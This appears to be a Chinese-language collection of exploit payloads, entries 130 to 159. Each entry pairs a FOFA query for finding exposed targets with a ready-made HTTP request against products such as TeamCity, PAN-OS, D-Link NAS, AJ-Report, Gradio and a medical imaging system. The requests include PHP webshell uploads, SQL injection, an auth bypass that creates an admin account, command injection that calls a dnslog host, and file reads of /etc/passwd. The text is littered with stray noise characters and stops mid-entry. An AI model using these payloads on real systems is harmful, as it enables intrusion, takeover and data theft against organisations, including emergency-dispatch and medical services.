7 k2 \2 u# q8 z/ G+ muuid: 85f60018-a654-4410-a783-f81cbd5000b9
8 r% g0 D) `+ @% W9 f7 ?+ S
  A$ T1 G2 I6 d
4 \0 }+ G9 B, C" l( P130. Laykefu客服系统任意文件上传
FOFA：icon_hash="-334624619"
POST /admin/users/upavatar.html HTTP/1.1
" U2 D' @2 U$ y6 s6 \5 s( sHost: 127.0.0.1
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
$ W  [+ |$ t4 |* B8 o  E& C+ oUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
  O2 [+ z! o8 ~+ `7 S) K$ vAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
- r- I+ g( d- H% gCookie: user_name=1; user_id=3
Connection: close
6 s6 C9 O% V) n! U$ b9 ~+ Q1 W4 ~
------WebKitFormBoundary3OCVBiwBVsNuB2kR
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/png
2 d+ z- q. C  b
; K' t% [' {! c$ j<?php phpinfo();@eval($_POST['sec']);?>
+ T6 g1 i! O4 R3 `------WebKitFormBoundary3OCVBiwBVsNuB2kR--
. T" {0 J4 f4 j; T4 t( Q/ M- i+ Z
0 H. {' n5 C7 c
5 |7 |* A: k$ q. X* E131. Mini-Tmall <=20231017 SQL注入
1 M' T, h  z( N0 M) S9 s; d  n  DFOFA：icon_hash="-2087517259"
7 o7 Q! W3 c  V1 }/ P* u后台地址：http://localhost:8080/tmall/admin
http://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)
1 X& O( g& `3 ?! e6 d1 H  Q
8 d  v- L  g# A" i/ f4 Z( Q& s132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
CVE-2024-27198
FOFA：body="Log in to TeamCity"
POST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
Host: 192.168.40.130:8111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: */*
Content-Type: application/json
- `  B+ |* H% H# Y" PAccept-Encoding: gzip, deflate

6 p/ z! X" B3 A& W3 a6 v{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}
9 N1 L/ L& s; N0 W# M) X$ L
4 `) M* A6 q; c3 }7 S' N# b1 H( G
( x3 `6 n( ~/ G5 p  S: uCVE-2024-27199
1 k# G! Q( J! O3 f- r6 O) F/res/../admin/diagnostic.jsp
# g, R3 u9 \5 q% S6 P/.well-known/acme-challenge/../../admin/diagnostic.jsp
/update/../admin/diagnostic.jsp

" w( o4 l+ O( E
CVE-2024-27198-RCE.py
; y9 G' }5 m4 f! T
133. H5 云商城 file.php 文件上传
1 L& t! |3 W4 a* S# R& e# SFOFA：body="/public/qbsp.php"
0 m, e1 x1 w4 r# d. N. uPOST /admin/commodtiy/file.php?upload=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx

; ^6 r$ j7 _  G- \3 X------WebKitFormBoundaryFQqYtrIWb8iBxUCx
: T8 u: c, c( O8 gContent-Disposition: form-data; name="file"; filename="rce.php"
+ ?% }9 I& h5 f# M. |1 k& \Content-Type: application/octet-stream
: [" A( h3 R, t$ C' l& J$ ]6 S
<?php system("cat /etc/passwd");unlink(__FILE__);?>
" P9 S) I( _: s% L: l+ `- c* C------WebKitFormBoundaryFQqYtrIWb8iBxUCx--
% H% {5 A0 C6 V1 \7 a
- ?0 U* n. i9 r0 A. T

  T0 O5 L& m; j! D  L134. 网康NS-ASG应用安全网关index.php sql注入
" t4 g- M" @" h. xCVE-2024-2330
' X2 Q+ A9 _2 b$ S; XNetentsec NS-ASG Application Security Gateway 6.3版本
9 |) `+ _- q2 w1 LFOFA：app="网康科技-NS-ASG安全网关"
& s) n6 E, h. _* B" jPOST /protocol/index.php HTTP/1.1
# A! ^6 \1 _5 i. P. H) e; h* RHost: x.x.x.x
Cookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
7 M0 o+ l; L0 M7 MAccept: */*
# g- h# [6 d  A2 L( L& FAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
: ]$ F* F% l7 i; P3 }Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
" h7 k( R/ c% U2 r  x3 A7 t; SSec-Fetch-Site: same-origin
2 R% v5 D2 I: w4 E* CTe: trailers
Connection: close
5 d: x  q: t4 p( U/ P( lContent-Type: application/x-www-form-urlencoded
! o% {0 t/ D  Z& p( a6 o* o4 BContent-Length: 263
( @. }2 B0 x8 {, N3 u8 t
, ]# }# H  t9 v/ B. ]$ mjsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}
1 t$ x0 s" j" n4 {' b

135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
CVE-2024-2022
Netentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
GET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
4 g0 x2 ?. q/ P1 N8 ]& L- RAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
6 r. ?5 j4 \, n* Q7 b' O! _Accept-Encoding: gzip, deflate
4 f/ U1 e- _9 t$ I$ c: w# ?Accept-Language: zh-CN,zh;q=0.9
Connection: close


6 ~. S+ E% X9 v* z7 k% I1 ^0 q8 |8 B136. NextChat cors SSRF
CVE-2023-49785
FOFA：title="NextChat"
, m- W) C8 K; B% wGET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
! K+ g1 _! @! I0 IHost: x.x.x.x:10000
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
) B, V( f0 i+ I/ M, BConnection: close
Accept: */*
7 @: g1 l. h' _3 F/ @. A$ l6 vAccept-Language: en
3 I2 a2 m5 A! mAccept-Encoding: gzip

3 Z$ H1 C! r9 j# n9 p
& {+ m* \( `$ b& b9 e. d+ J6 Z- }% t) K137. 福建科立迅通信指挥调度平台down_file.php sql注入
CVE-2024-2620
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
3 @# |' j: `) H  m" r/ I: E% sGET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
! G! O0 e( e8 S7 ^8 Z9 ~: }/ X, j2 c" tHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
: Z  C/ o4 V/ X7 z3 A2 vAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
- a; Y* ^  j/ G/ J! R" l2 CConnection: close
: ]+ C+ b( L# f' X; {Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
Upgrade-Insecure-Requests: 1

( z7 k3 K# r- k% F
138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
' T2 [- B4 f# R3 nCVE-2024-2621
- i0 g, k1 {0 K4 I( CFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
( o. S0 W9 `, p" u2 Y% i1 }GET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
Host: x.x.x.x
  V, A  j# Y' G5 Z4 v% _User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
3 ~% W" e% p9 `( W, b/ z! ^" F, L( VAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
9 X: c' ]# A5 H8 DAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
& M, X  V0 e9 t# r$ AAccept-Encoding: gzip, deflate, br
* O1 J7 X! S% C0 pConnection: close
+ B4 D+ j) |% \1 n) h# QUpgrade-Insecure-Requests: 1


139. 福建科立讯通信指挥调度平台editemedia.php sql注入
CVE-2024-2622
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
9 X% }0 u4 q: w; GGET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
Host: x.x.x.x
# U. r* H/ b- z5 f: rUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
  W' {3 N5 F/ z' cAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
+ D4 ~- R. e# w/ _# ?. Z" {" U8 |Upgrade-Insecure-Requests: 1
1 X5 ]0 f% |& J% S6 n
$ E5 ^# H, p  q2 ?! @! |" X
( X/ ?7 y1 n& P$ a! z5 K$ M6 X140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
0 q: r# I- Y: |; mCVE-2024-2566
. p2 y. w* ?& n3 A, t( {# i6 aFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
6 v2 @' I9 N  m+ V( [6 OGET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
' {3 c" K, A5 [/ M" ^; M! Q5 G, IHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
7 D3 F; z: P/ VAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
# \$ c, m% @- ~0 _Connection: close
Cookie: authcode=h8g9
. D+ N# O7 O6 F3 t7 NUpgrade-Insecure-Requests: 1


141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
5 r$ E4 H) v2 u+ PFOFA：body="指挥调度管理平台"
POST /app/ext/ajax_users.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Content-Type: application/x-www-form-urlencoded
* P) Q: ?9 X. ^- _' U$ \9 R/ K% K
: Y* ?9 m$ p5 b. d, M; a
dep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -
2 D0 d# W5 J( b/ V% e1 ?* T

142. CMSV6车辆监控平台系统中存在弱密码
0 E  l* o, v( LCVE-2024-29666
FOFA：body="/808gps/"
8 U  k% b: r# |1 M! V  M" Ladmin/admin
143. Netis WF2780 v2.1.40144 远程命令执行
CVE-2024-25850
2 d3 l" U" Q8 l  z/ RFOFA：title='AP setup' && header='netis'
  l+ T3 }+ b6 d9 m5 fPAYLOAD

2 B: g9 N* s+ w144. D-Link nas_sharing.cgi 命令注入
, a+ m7 B- e/ d) @6 x( C5 [+ ]FOFA：app="D_Link-DNS-ShareCenter"
system参数用于传要执行的命令
. m& T' u( i  M- ?4 o& sGET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Connection: close
7 P2 p; A2 d4 r( b% ~' T  R$ r8 pAccept: */*
( W" m& P2 n, E* Z6 x, rAccept-Language: en
Accept-Encoding: gzip
% m! n" g6 M3 l( e$ r) q( I
8 v+ u  L! j, x
' p: C4 \2 w9 p. O+ l145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
$ B+ L3 A0 N; M0 z  RCVE-2024-3400
FOFA：icon_hash="-631559155"
GET /global-protect/login.esp HTTP/1.1
( i! M+ _3 A1 b# u$ P) e" PHost: 192.168.30.112:1005
) y5 N7 P0 ]5 p  q: \5 Z2 @User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
5 ^8 Q: @. [6 f, Y! ?Connection: close
" F* W, M* v" |Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
  n3 P8 Y% d* n) {( ^Accept-Encoding: gzip
1 V" g9 O! A7 t* @. _0 u

146. MajorDoMo thumb.php 未授权远程代码执行
0 m) ~2 v0 F% e& sCNVD-2024-02175
FOFA：app="MajordomoSL"
GET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
' k% ?5 X# D: V6 ?( _Host: x.x.x.x
2 s$ V9 Q" I! B" k* l0 V) s- \6 ?User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close

" K" W( B) K  U* K  H
147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
CVE-2024-32399
FOFA：body="RaidenMAILD"
: W( J0 b5 v3 x2 \8 V6 Z( ~GET /webeditor/../../../windows/win.ini HTTP/1.1
Host: 127.0.0.1:81
$ c: R* \& l' HCache-Control: max-age=0
Connection: close

/ L1 }1 Y( ^; l2 H4 o
148. CrushFTP 认证绕过模板注入
CVE-2024-4040
% q: J- r9 d7 g$ @FOFA：body="CrushFTP"
PAYLOAD

$ o6 c: o4 j4 e; ~8 i, [: ?( d149. AJ-Report开源数据大屏存在远程命令执行
) y3 |+ P  H: }+ {$ t2 w0 \+ UFOFA：title="AJ-Report"
& S! c3 Y; p6 I* c* A
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
6 M! t. X  N  p" ~9 [0 OAccept-Encoding: gzip, deflate, br
) B# h. q$ n4 I. l0 j3 o- t/ GAccept-Language: zh-CN,zh;q=0.9
9 U+ ]$ s7 M/ u# U6 w: {/ VContent-Type: application/json;charset=UTF-8
Connection: close
4 _7 Y$ _0 K9 \3 ?
{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
4 s& W) X) ~) g) E
$ J) D/ _  d- W: v' g. |% x; o150. AJ-Report 1.4.0 认证绕过与远程代码执行
FOFA：title="AJ-Report"
: O7 U5 p& n( N: R$ a9 p( z; f% k, nPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
4 Z& A3 J4 \# _9 }& ~6 HHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
7 b1 z, k* X! ?6 i/ @Accept-Encoding: gzip, deflate, br
& S( D1 o  ^2 V" w1 p4 X0 DAccept-Language: zh-CN,zh;q=0.9
" M$ \9 Y7 G/ g6 z, zContent-Type: application/json;charset=UTF-8
, J, H/ h; P# y! V! I, IConnection: close
Content-Length: 339
4 h  W- G( \* m7 M
1 x3 x: x" D# a  ~{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
2 X9 U3 Q# o( v  P
; D' i3 c0 m  t& n$ }: ?
151. AJ-Report 1.4.1 pageList sql注入
& g$ f9 s) u' ZFOFA：title="AJ-Report"
6 l. B4 V' M2 x9 b/ G5 V. q% \GET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
$ i+ x1 {  W( R( zHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip

1 H5 w5 _6 V' Q  c
: I; ]# e& e/ B5 s152. Progress Kemp LoadMaster 远程命令执行
CVE-2024-1212
. s1 N- g# N. d0 h' dLoadMaster <= 7.2.59.2 (GA)
5 L+ [* d# l. {* m: `7 FLoadMaster<=7.2.54.8 (LTSF)
LoadMaster <= 7.2.48.10 (LTS)
FOFA：body="LoadMaster"
JztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
GET /access/set?param=enableapi&value=1 HTTP/1.1
- `: u! ?& H, A2 O8 lHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
Connection: close
4 g5 }) d* w, p1 rAccept: */*
% F; W7 X+ J- C  p1 OAccept-Language: en
Authorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
0 N; R( Y' f% DAccept-Encoding: gzip

0 B8 {; T0 ^8 e, _7 w# V
- T: G9 Z& B) ~% F8 C# A153. gradio任意文件读取
1 b% z! k# c) h8 D7 JCVE-2024-1561FOFA：body="__gradio_mode__"
第一步，请求/config文件获取componets的id
# H5 N3 T  [3 b& q; `http://x.x.x.x/config

( Z/ K, ~1 t& W0 ]% C
第二步，将/etc/passwd的内容写入到一个临时文件
' B+ \& r/ ^' x/ `POST /component_server HTTP/1.1
* q5 Q/ {9 a% t! e0 o5 T9 A5 sHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
Connection: close
, G: c4 L% N  e8 m. W9 KContent-Length: 115
Content-Type: application/json
Accept-Encoding: gzip

7 ]5 H' K7 S2 W  c3 |1 h{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}
2 L- t+ Y, ]. y4 o, |( \9 \
' Q' |+ ]3 P. A
第三步访问
http://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd

  @9 c" D. u$ o" C3 `( J
/ [; Y2 g! y: D8 @# e. u! d/ Z154. 天维尔消防救援作战调度平台 SQL注入
9 g' ?" G& {3 q; {1 }. e& ]CVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
POST /twms-service-mfs/mfsNotice/page HTTP/1.1
Host: x.x.x.x
( e& C, _; m% A& i, ^; Y" D, t- I1 nContent-Length: 106
Cache-Control: max-age=0
5 s& t$ l, D# j0 \Upgrade-Insecure-Requests: 1
Origin: http://x.x.x.x
& P9 w9 @( z! D2 l, q2 _2 pContent-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
( T- q7 m$ F6 J6 H# l" mAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
/ f2 Q+ J' e' _' \6 PConnection: close

& E! `6 B3 a6 W( V{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}
) |% P1 K0 Y" D

- v: H  U7 |2 o% ~155. 六零导航页 file.php 任意文件上传
7 ]# P2 \. l6 mCVE-2024-34982
$ E8 Z" h, }7 a  ^FOFA：title=="上网导航 - LyLme Spage"
POST /include/file.php HTTP/1.1
2 z2 \% _0 o- a4 C: r% k4 S" ZHost: x.x.x.x
, c' I! C8 O; V! qUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Connection: close
2 t! Z0 O) f- q# l& zContent-Length: 232
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate, br
; T7 ~# e) T: P! o& a8 i" iAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
, Y$ w3 m$ @& p* {2 P  Y5 fContent-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
! R9 M9 U1 x: ?" l$ @X-Requested-With: XMLHttpRequest
" s  C2 D* G$ [
( @. g8 j. k: X4 R: W- s-----------------------------qttl7vemrsold314zg0f
" M) N5 f- c& Z. x" k. RContent-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/png

<?php phpinfo();unlink(__FILE__);?>
9 p0 U7 t9 d0 \; Q/ k-----------------------------qttl7vemrsold314zg0f--


" J- _8 e1 `5 M" L; r. ]9 i: D访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php
! D$ a( F7 D7 c$ I& V! ?/ Z; d
156. TBK DVR-4104/DVR-4216 操作系统命令注入
CVE-2024-3721
FOFA："Location: /login.rsp"
+ r% H8 d7 Z8 H7 ^% Q/ c, ^·TBK DVR-4104
·TBK DVR-4216
curl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"


& X: {1 w% f! O3 \6 wPOST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 0
# V5 E0 h! x! E: VCookie: uid=1
0 h1 m! z& M9 C2 R+ qAccept-Encoding: gzip


+ J  Y% T  h$ A157. 美特CRM upload.jsp 任意文件上传
9 t( E; U7 @# g2 CCNVD-2023-06971
6 H: X! |+ p+ b. t; l% IFOFA：body="/common/scripts/basic.js"
8 ]: x$ }6 v/ c) g5 H) ~! H: m7 APOST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Content-Length: 709
9 z% f) P4 a& U- Y/ O7 b3 V( fAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
! R, `( q2 p' q8 w1 cAccept-Encoding: gzip, deflate
* F5 A/ e! c- NAccept-Language: zh-CN,zh;q=0.9
) Z0 G2 e7 O. m. b6 {Cache-Control: max-age=0
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
/ i$ X6 v8 F; qUpgrade-Insecure-Requests: 1

------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
6 C' ~9 f" ~7 j% q% h8 g, D& CContent-Type: application/octet-stream

# q' W4 Y  Z* ~; y: C7 snyhelxrutzwhrsvsrafb
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="key"

null
------WebKitFormBoundary1imovELzPsfzp5dN
% ?7 U5 u8 z! wContent-Disposition: form-data; name="form"

% U/ _+ r$ }9 l2 ?- Gnull
* E: }0 X0 J' a# q( p------WebKitFormBoundary1imovELzPsfzp5dN
9 d- H% C8 R* `: ]2 u6 aContent-Disposition: form-data; name="field"

null
------WebKitFormBoundary1imovELzPsfzp5dN
  z0 {9 H0 }3 B8 v+ G8 f# w6 vContent-Disposition: form-data; name="filetitile"
9 H5 S6 R* H8 s0 I* s+ g
null
------WebKitFormBoundary1imovELzPsfzp5dN
6 L* z% R. |5 E6 qContent-Disposition: form-data; name="filefolder"
$ i7 _" ]" R( Q6 g6 l
null
------WebKitFormBoundary1imovELzPsfzp5dN--


http://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp
$ f8 |# ?% H1 [: S3 f
158. Mura-CMS-processAsyncObject存在SQL注入
CVE-2024-32640
2 O. c1 W' D8 u0 _( V; S5 VFOFA："Generator: Masa CMS"
! [% v1 ?( g/ h- Q+ c% \4 B8 QPOST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded

0 |+ G" \. ^3 A/ T9 q. kobject=displayregion&contenthistid=x\'&previewid=1


159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
( ~5 X4 B( n4 _% s+ j' j; k3 JFOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
POST /webservices/WebJobUpload.asmx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Content-Length: 1080
Accept-Encoding: gzip, deflate
- D1 e5 S+ f! X2 n: P0 @Connection: close
+ X; C, P- ~; p  l; `6 {2 ^- V" AContent-Type: text/xml; charset=utf-8
Soapaction: "http://rainier/jobUpload"
& N8 R% U  l' ]8 ]4 h
<?xml version="1.0" encoding="utf-8"?>
* Q3 s- u- [- M  e) s<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
" {: [9 K+ l0 f8 K2 f. M<soap:Body>
* p# v$ I  ]! r<jobUpload xmlns="http://rainier">
7 T& x0 K: O% o3 y2 |<vcode>1</vcode>
, a, j8 D7 Z0 ?- O; r0 X<subFolder></subFolder>
% g9 d1 D, g$ _  f1 B& n6 U+ X<fileName>abcrce.asmx</fileName>
